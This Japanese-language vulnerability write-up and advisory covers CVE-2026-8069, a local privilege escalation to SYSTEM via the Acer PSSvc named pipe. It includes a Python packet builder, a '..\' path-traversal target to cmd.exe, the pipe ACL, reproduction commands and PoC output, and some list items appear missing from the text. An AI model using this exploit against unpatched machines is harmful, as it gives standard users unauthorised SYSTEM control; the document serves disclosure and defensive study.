
CVE-2026-8069の技術解説と概念実証。Acer NitroSenseおよびPredatorSenseサービスにおけるローカル権限昇格であり、名前付きパイプを悪用してSYSTEMとして任意のコードを実行するものです。
Acer NitroSenseおよびPredatorSense 3.xは、PSSvcというWindowsサービスをインストールし、ローカルユーザーにカスタム名前付きパイププロトコルを公開していました。あるプロトコルコマンドは、呼び出し元が制御する実行可能ファイルのパスを受け入れ、winlogon.exeのトークンを複製し、その実行可能ファイルをNT AUTHORITY\SYSTEMとして起動していました。
脆弱なサービスにおけるパス制限は、部分文字列テストでした。サービスディレクトリ内で始まり、その後..\コンポーネントを使用するパスはテストを通過しましたが、別の場所に解決されました。パイプの緩いアクセス制御と呼び出し元の認可の欠如と組み合わさることで、標準的なローカルユーザーがSYSTEMプロセスを取得できるようになりました。
AcerはCVE-2026-8069を割り当て、修正版を公開し、セキュリティアドバイザリでフラデツ・クラロヴェー大学のArtem Domarev氏をクレジットしました。
この記事は、プロセス作成/LPEの経路に焦点を当てています。Acerのアドバイザリは任意のファイル削除についても説明していますが、これは今回の検証の範囲外でした。
研究の方向性の選択は、SensePostのLeon Jacobs氏が公開したOEMソフトウェアの公開分析にも影響を受けました。その研究は、ASUS DriverHub、MSI Center、Acer Control Centre、Razer Synapse 4の脆弱性を文書化したものです(Jacobs, 2025)。ベンダー提供のハードウェアユーティリティが、意味のある未開拓の攻撃面を露出させ得るという考えを強化しました。Acer Control Centreを再調査するのではなく、調査を別のAcer製品ファミリーであるNitroSenseとPredatorSenseに拡張しました。
悪用チェーンは短いものです:
認証済みローカルユーザー
│
▼
緩いアクセス制御のPSSvc名前付きパイプ
│ カスタムコマンド 0x0007
▼
部分文字列のみのパスチェック
│ service-dir\..\..\..\Windows\System32\cmd.exe
▼
アクティブセッションのwinlogon.exeトークンの複製
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
公開されている表現には不整合があります。Acerのページでは、NitroSenseの「3.01.3052より前」のバージョンが影響を受けると述べていますが、この記事でテストしたベンダー署名済みのPSSvc.exeバージョン3.1.3052.0は明らかに脆弱です。同じページでは、NitroSense 3.01.3056が修正版として特定されています。NVDの適用範囲も3.01.3056まで(ただし含まない)に及びます。
PredatorSenseについては、Acerの影響を受けるバージョンの記述は3.00.3196の前で止まっていますが、記載されている修正版は3.00.3198であり、NVDは後者を上限として使用しています。
したがって、保守的な運用ルールは単純です。曖昧な「影響を受ける」という記述をパッチチェックとして使用しないでください。Acerが指定する修正版—PredatorSense 3.00.3198またはNitroSense 3.01.3056—またはそれ以降のモデル互換パッケージにアップグレードしてください。
この問題は、オリジナルのNitroSenseパッケージで再現されました。
PSSvc.exeのAuthenticode署名は正常に検証され、Acer Incorporatedにチェーンされました。MSIはPSSvcをLocalSystemとして実行される手動開始・独自プロセスサービスとしてインストールしました。
NitroSenseパッケージは以下をインストールします:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
SYSTEMサービスが自動的に脆弱というわけではありません。重要な質問は、低権限のプロセスが、呼び出し元が信頼されているという前提で設計された機能に到達できるかどうかです。
文字列分析により、IPCエンドポイントがすぐに明らかになりました:
\\.\pipe\predatorsense_service_namedpipe
0x140014AD0で、サービスはパイプを構築し、明示的なセキュリティ記述子をCreateNamedPipeWに渡します:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
これは明示的に訂正する価値があります。脆弱なビルドはNULL記述子を渡しません。緩いDACLを作成します。
AU ACEは、通常の認証済みユーザーがパイプを読み取りおよび書き込み用に開くのに十分です。サーバーはその後、クライアントを偽装して特権コマンドをディスパッチする前に認可判断を行うことはありません。
0x14000ABB0のクライアントスレッドは、メッセージを512バイトのバッファに読み取ります。最初の3バイトを16ビットのコマンド番号と8ビットの引数カウントとして解析します。各引数は長さプレフィックス付きです:
オフセット サイズ 意味
0x00 2 コマンドID、リトルエンディアン
0x02 1 引数の数
0x03 4 引数0の長さ
0x07 n 引数0のバイト
... 繰り返しDWORD長さ+値
文字列引数はUTF-16LEです。整数引数はリトルエンディアンのDWORDです。ディスパッチャーは0x23未満のコマンドIDを受け入れ、それらを0x140052C90の35エントリの関数テーブルへのインデックスとして使用します。
コマンド0x0007のエントリは0x14000BFD0を指します。
セキュリティ関連の動作に簡略化すると、ハンドラーは次のようになります:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstrは、ある文字列が別の文字列内に存在するかどうかのみを答えます。パスを正規化したり、ドットセグメントを解決したり、ファイルを開いたり、最終オブジェクトが信頼されたディレクトリの下に残ることを証明したりしません。
サービスが以下にインストールされていると仮定します:
C:\Program Files\Acer\NitroSense_Service
次のパスはオフセット0にそのディレクトリを含むため、wcsstrは成功します:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
Windowsはドットセグメントを以下に解決します:
C:\WINDOWS\System32\cmd.exe
これは古典的な正規化エラーです。検証はあるテキスト表現に対して実行されますが、機密操作はその正規化された意味を消費します。
0x1400091F0のプロセス起動ヘルパーには、2番目の引数が0x72(10進数114)の場合に特別なブランチがあります。それは:
CreateToolhelp32Snapshotでプロセスを列挙します;winlogon.exeを特定します;winsta0\defaultで起動します。テストしたバイナリの重要な呼び出しサイトは次のとおりでした:
つまり、コマンド0x0007は単にサービスに自身の信頼されたツールの1つを起動させるだけではありません。通常のユーザーがアクセスできるパイプに、一般的なSYSTEMトークンのプロセスランチャーを公開しています。
必須のパケットビルダーは小さいものです:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# ハンドラーはパス、トークンモード、および追加の8つのスロットを期待します。
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
完全な検証スクリプトは、CreateFileWでパイプを開き、メッセージモードを設定し、このパケットを送信し、サービスの応答をデコードします。ハードコーディングする代わりにインストールされたサービスパスを検出し、何かを送信する前に正規化されたターゲットをチェックします。
この記事で使用した完全なスクリプトは、acer_cve_2026_8069_poc.pyとして利用可能です。
ベンダーのSetup.exeはハードウェアチェックを実行し、プライベートなMSIプロパティを提供します。NitroSense.msiを抽出し、.NETブートストラッパーからそれらのプロパティを復元しました:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
これらのプロパティは、環境チェックに合格しないハードウェア上でブートストラッパーのインストールパスを再現します。
インストール後、ファイルバージョン、SHA-256、署名を検証し、手動開始サービスを起動しました:
sc.exe qc PSSvc
sc.exe start PSSvc
リクエストは、中整合性で実行されている標準の非管理者ローカルアカウントから送信されました。
そのアカウントから:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
サービスは以下を返しました:
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
Packet size: 227 bytes
Raw response: 010400000001000000
Return code: 1
[CRITICAL] PROCESS CREATED SUCCESSFULLY
PoCの成功メッセージはそれ自体が証明ではありません。結果のプロセスを管理者の証拠チャネルから独立して照会しました:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
SYSTEMシェルは、インタラクティブセッション内のPSSvc.exeの直接の子プロセスであり、トラバーサルパスがコマンドラインに保持されていました。
また、成功したリクエスト中にサービスAPIをトレースしました。トレースは、アクティブセッション1、成功したWTSQueryUserToken、プロセススナップショット、セッションのwinlogon.exeに対するOpenProcess、成功したDuplicateTokenEx、整合性トークンの変更、およびプロセス起動ヘルパーからの成功リターンを記録しました。


これは単一の孤立した不適切な比較ではありませんでした。悪用にはいくつかの信頼の失敗が連鎖する必要がありました:
wcsstrで実装されていました。winlogon.exeトークンを意図的に複製するコードを公開しました。最後の4つのリンクのいずれかを削除すれば、このLPE経路を防げたはずです。多層防御はそれらすべてを削除する必要があります。
Acerがサポートする修復方法は、PredatorSense 3.00.3198、NitroSense 3.01.3056、またはそれ以降に更新することです。ベンダーアドバイザリに記載されているように、マシンのシリアル番号またはSNIDに対応するAcerが提供するパッケージを使用してください。
特権Windowsサービスの開発者にとっての広範な教訓は次のとおりです:
| 日付 | イベント |
|---|---|
| 2026-02-19 | 脆弱性レポートを作成し、Acerに提出。 |
| 2026-05-08 | CVE-2026-8069がCVE/NVDエコシステムで公開。 |
| 2026 | Acerがアドバイザリを公開し、研究者をクレジットし、修正版のPredatorSenseおよびNitroSenseリリースを指定。 |
| 2026-08-28 | この記事のための独立した再現が完了。 |
ローカル名前付きパイプは、信頼された境界と誤解されがちです。それらは単なるトランスポートメカニズムです。SYSTEMサービスがコマンドディスパッチャーを公開する場合、そのパイプACL、呼び出し元の認可、引数の検証、特権実装のすべてがセキュリティ境界の一部になります。
ここでは、緩いパイプがトークン複製ルーチンに到達し、部分文字列チェックがパスの包含関係の代わりをしようとしました。結果は、標準的なローカルユーザーからNT AUTHORITY\SYSTEMへの信頼性の高い遷移でした。
この記事とオリジナルの研究メディアは、Creative Commons Attribution 4.0 Internationalの下でライセンスされています。PoCソースコードは、MIT Licenseの下でライセンスされています。範囲とサードパーティの除外については、LICENSE.mdを参照してください。
| 項目 | 結果 |
|---|
| CVE | CVE-2026-8069 |
| テストした脆弱コンポーネント | PSSvc.exe 3.1.3052.0、Acer Incorporatedによる署名 |
| サービスID | LocalSystem |
| IPCエンドポイント | \\.\pipe\predatorsense_service_namedpipe |
| 脆弱なコマンド | 0x0007 |
| 必要な攻撃者のアクセス | プログラムを実行できる認証済みローカルユーザー |
| ユーザー操作 | なし |
| 結果 | NT AUTHORITY\SYSTEMとして任意の実行可能ファイルが起動 |
| NVD CVSS v3.1 | 7.8 High — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 修正版 | PredatorSense 3.00.3198; NitroSense 3.01.3056 |
| 成果物 | SHA-256 |
|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
インストール済みPSSvc.exe 3.1.3052.0 | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| 検証に使用したPoC | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
| SID略語 | プリンシパル | SDDLでの実効権限 |
|---|
BG | 組み込みのGuests | 全般アクセス |
AN | 匿名 | 全般アクセス拒否 |
AU | 認証済みユーザー | 全般読み取り、書き込み、実行 |
BA | 組み込みのAdministrators | 全般アクセス |
| 操作 | アドレス |
|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |